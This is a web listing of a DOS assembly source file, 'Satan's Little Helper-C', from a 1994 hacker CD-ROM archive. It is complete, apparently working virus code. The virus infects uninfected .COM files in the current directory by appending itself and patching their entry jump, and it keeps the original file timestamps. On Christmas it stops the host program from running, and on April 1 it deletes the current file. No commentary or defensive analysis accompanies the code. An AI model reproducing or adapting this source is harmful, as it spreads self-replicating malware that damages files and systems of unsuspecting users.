home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / SATNLH.ASM < prev    next >
Assembly Source File  |  1994-07-17  |  5KB  |  356 lines

  1. ;            Virus
  2. ;        Satan's Little Helper-C
  3. ;This version:
  4. ;Searches current directory for non-infected com files, if any found
  5. ;it will become infected!
  6. ;This virus has a routine which self-destructs itself and uninfects
  7. ;the file.
  8.     assume cs:code
  9.     .286
  10. code    segment    "code"
  11.     org 0100h
  12. start    proc
  13.     jmp    v_start        ;first 5 bytes |
  14.     nop            ;              |
  15.     nop            ;              |
  16. v_start:
  17.     call $+3        ;Actual virus
  18.     pop dx
  19.     sub dx, 3
  20.     push dx            ;save relocation factor in BP
  21.     pop bp            ;so virus can be copied anywhere twoards
  22.     mov si, dx        ;the end of the file
  23.                 ;
  24. ;            Replace first 5 bytes in memory with original
  25. ;            program code so normal program can run later
  26.     add si, first_five
  27.     mov di, 0100h
  28.     mov cx, 5
  29.     lodsb
  30.     stosb
  31.     loop $-2
  32. ;see if user want to disinfect this file
  33.     mov si, 82h
  34.     lodsb
  35.     cmp al, "["        ;is al the code to disinfect?  "["
  36.     jne ok_dont_disinfect
  37.     jmp self_kill 
  38. ok_dont_disinfect:
  39.                 ;here should be date checks to see
  40.                 ;if an evil function should be unleashed!!
  41.     mov ah, 2ah
  42.     int 21h
  43.     ;cx year 1980-2099
  44.     ;dh month 1-12
  45.     ;dl day
  46.     ;al day of week  0=sun 1=mon -> 7=sat
  47.     cmp dh, 12
  48.     jne notdec
  49.     cmp dl, 25
  50.     jne notdec
  51.     jmp christmas
  52. notdec:
  53.     cmp dh, 4
  54.     jne notapril
  55.     cmp dl, 1
  56.     jne notapril
  57.     jmp aprilfools    
  58. notapril:
  59.  
  60. ;Set the DTA
  61.     call set_dta
  62.                 ;find first file to  ?infect?
  63.     call find_first_file
  64. go_again:
  65.     mov si, bp
  66.     add si, size_
  67.     lodsw
  68.     cmp ax, 5
  69.     ja gd4
  70.     jmp resrch    
  71. gd4:
  72.     call open_file
  73.     mov bx, ax
  74.     mov al, 0
  75.     call date_time
  76.     mov ah, 3fh
  77.     mov cx, 5
  78.     mov dx, bp
  79.     add dx, first_five
  80.     int 21h
  81.     mov ax, 4202h
  82.     mov cx, 0
  83.     mov dx, cx
  84.     int 21h
  85.     sub ax, 3
  86.     mov si, bp
  87.     add si, new_5
  88.     mov [si+1], ax
  89.     mov si, bp
  90.     mov di, si
  91.     add si, chkmark
  92.     add di, mark
  93.     mov cx, 2
  94.     repe cmpsb
  95.     jne INFECT
  96. ;File found was previously infected!
  97. ; search for new one now.
  98.     jmp resrch
  99.  
  100. wipe_name:
  101.     push di
  102.     push ax
  103.     push cx
  104.     mov di, bp
  105.     add di, name_
  106.     mov cx, 13
  107.     mov al, 0
  108.     rep stosb
  109.     pop cx
  110.     pop ax
  111.     pop di
  112.     ret
  113. resrch:
  114.     call wipe_name
  115.     mov ah, 4fh
  116.     int 21h
  117.     jnc gd3
  118.     jmp term_virus
  119. gd3:
  120.     jmp go_again
  121. INFECT:
  122. ;Time to infect the file!!
  123.     mov si, bp
  124.     add si, handle
  125.     mov bx, [si]
  126.     mov cx, vsize
  127.     mov dx, bp
  128.     call wipe_name
  129.     mov ax, 4000h
  130.     int 21h
  131.     mov ax, 4200h
  132.     mov cx, 0
  133.     mov dx, cx
  134.     int 21h
  135.     mov dx, bp
  136.     add dx, new_5
  137.     mov ax, 4000h
  138.     mov cx, 5
  139.     int 21h
  140.     mov al, 1
  141.     call date_time
  142.     mov ax, 3e00h
  143.     int 21h
  144.     jmp resrch 
  145.  
  146. fndnam    proc
  147.     mov si, env
  148.     mov ax, [si]
  149.     mov es, ax
  150.     mov ds, ax
  151.     mov si, 0
  152.     mov di, si
  153. __lp:
  154.     lodsb
  155.     cmp al, 0
  156.     je chknxt
  157.     stosb
  158.     jmp __lp
  159. chknxt:
  160.     stosb
  161.     lodsb
  162.     cmp al, 0
  163.     je fnd1
  164.     stosb
  165.     jmp __lp
  166. fnd1:
  167.     stosb
  168. __lp2:
  169.     lodsb
  170.     cmp al, "a"
  171.     jae ff_
  172. up2:
  173.     cmp al, "A"
  174.     jae fff_
  175. up3:
  176.     stosb
  177.     jmp __lp2
  178. ff_:
  179.     cmp al,"z"
  180.     jbe fnd
  181.     jmp up2
  182. fff_:
  183.     cmp al, "Z"
  184.     jbe fnd
  185.     jmp up3
  186. fnd:
  187.     mov si, di
  188.     mov al, 0
  189.     repne scasb
  190.     mov dx, si
  191.     mov di, dx
  192.     ret
  193. env    equ 2ch
  194. fndnam     endp
  195.  
  196.  
  197. self_kill:
  198.         ;this procedure disinfects specified files
  199.         ;SI points to the name of current file on disk
  200.         ;which is infected
  201.     call fndnam    ;find name of current file from env block in memory
  202.     jmp gd__    
  203. abrt:
  204.     int 20h
  205. gd__:
  206.     mov ax, 3d02h
  207.     int 21h
  208.     jc abrt
  209.     mov bx, ax
  210.     mov ax, cs
  211.     mov ds, ax
  212.     mov es, ax
  213.     mov cx, 5
  214.     mov dx, bp
  215.     add dx, first_five
  216.     call wipe_name
  217.     mov ax, 4000h
  218.     int 21h
  219.     jc abrt
  220.     mov dx, 0
  221.     mov cx, 0
  222.     mov ax, 4202h
  223.     int 21h
  224.     jnc gd__1
  225.     jmp abrt
  226. gd__1:
  227.     sub ax, vsize
  228.     mov dx, ax
  229.     mov cx, 0
  230.     mov ax, 4200h
  231.     int 21h
  232.     call wipe_name
  233.     mov cx, 0
  234.     mov ax, 4000h
  235.     int 21h
  236.     mov ax, 3e00h
  237.     int 21h
  238.     jmp term_virus
  239. date_time:
  240.     pusha
  241.     mov ah, 57h
  242.     cmp al, 0
  243.     je fnd__$
  244.     mov di, bp
  245.     mov si, di
  246.     add di, date
  247.     add si, time
  248.     mov dx, [di]
  249.     mov cx, [si]
  250.     int 21h
  251.     jmp ret__
  252. fnd__$:
  253.     int 21h
  254.     mov si, bp
  255.     mov di, bp
  256.     add si, time
  257.     add di, date
  258.     mov [si], cx
  259.     mov [di], dx
  260. ret__:
  261.     popa
  262.     ret
  263. open_file:
  264.     mov dx, bp
  265.     add dx, name_
  266.     mov ax, 3d02h
  267.     int 21h
  268.     jnc gd2
  269.     jmp term_virus
  270. gd2:
  271.     mov si, bp
  272.     add si, handle
  273.     mov [si], ax
  274.     ret
  275. find_first_file:
  276.     mov dx, bp
  277.     mov cx, 0
  278.     mov ah, 4eh
  279.     add dx, all_com_files
  280.     int 21h
  281.     jnc gd1
  282.     jmp term_virus
  283. gd1: 
  284.     ret
  285. set_dta:
  286.     mov dx, bp
  287.     mov ah, 1ah
  288.     add dx, dta
  289.     int 21h
  290.     ret
  291. term_virus:
  292.     mov ax, 0
  293.     mov bx, ax
  294.     mov cx, bx
  295.     mov dx, cx
  296.     mov si, 0100h
  297.     mov di, -1
  298.     mov bp, di
  299.     push 0100h
  300.     ret
  301.  
  302. CHRISTMAS:
  303. ;Program Lockup
  304. ; Exit without running program   
  305.     int 20h
  306. APRILFOOLS:
  307. ;Ha Ha delete current file
  308.     call fndnam
  309.     mov ah, 41h
  310.     int 21h
  311.     mov ax, cs
  312.     mov ds, ax
  313.     mov es, ax
  314.     jmp term_virus
  315. ;            Data    Bank
  316. _fstfive:
  317.     int 20h
  318.     nop
  319. ckmrk:
  320.     nop
  321.     nop
  322. acf    db "*.COM",0
  323. dt_    dw 0
  324. tme    dw 0
  325. d_t_a:
  326.     rfd    db 21 dup (0)
  327.     att    db 0
  328.         dw 0
  329.         dw 0
  330.     sz    dd 0
  331.     n_me    db 13 dup (0),0
  332. handl    dw 0
  333. nw_5    db 0e9h,0,0
  334. mrk    db "66"
  335. strain    db "C"
  336. ;
  337. end___:
  338. first_five    = offset _fstfive-0105h
  339. all_com_files    = offset acf-0105h
  340. dta        = offset d_t_a-0105h
  341. attribute    = offset att-0105h
  342. time        = offset tme-0105h
  343. date        = offset dt_-0105h
  344. size_        = offset sz-0105h
  345. name_        = offset n_me-0105h
  346. handle        = offset handl-0105h
  347. new_5        = offset nw_5-0105h
  348. mark        = offset mrk-0105h
  349. chkmark        = offset ckmrk-0105h
  350. vsize        = offset end___-0105h
  351. start    endp
  352. code    ends
  353.     end    start
  354.     
  355. Downloaded From P-80 International Information Systems 304-744-2253
  356.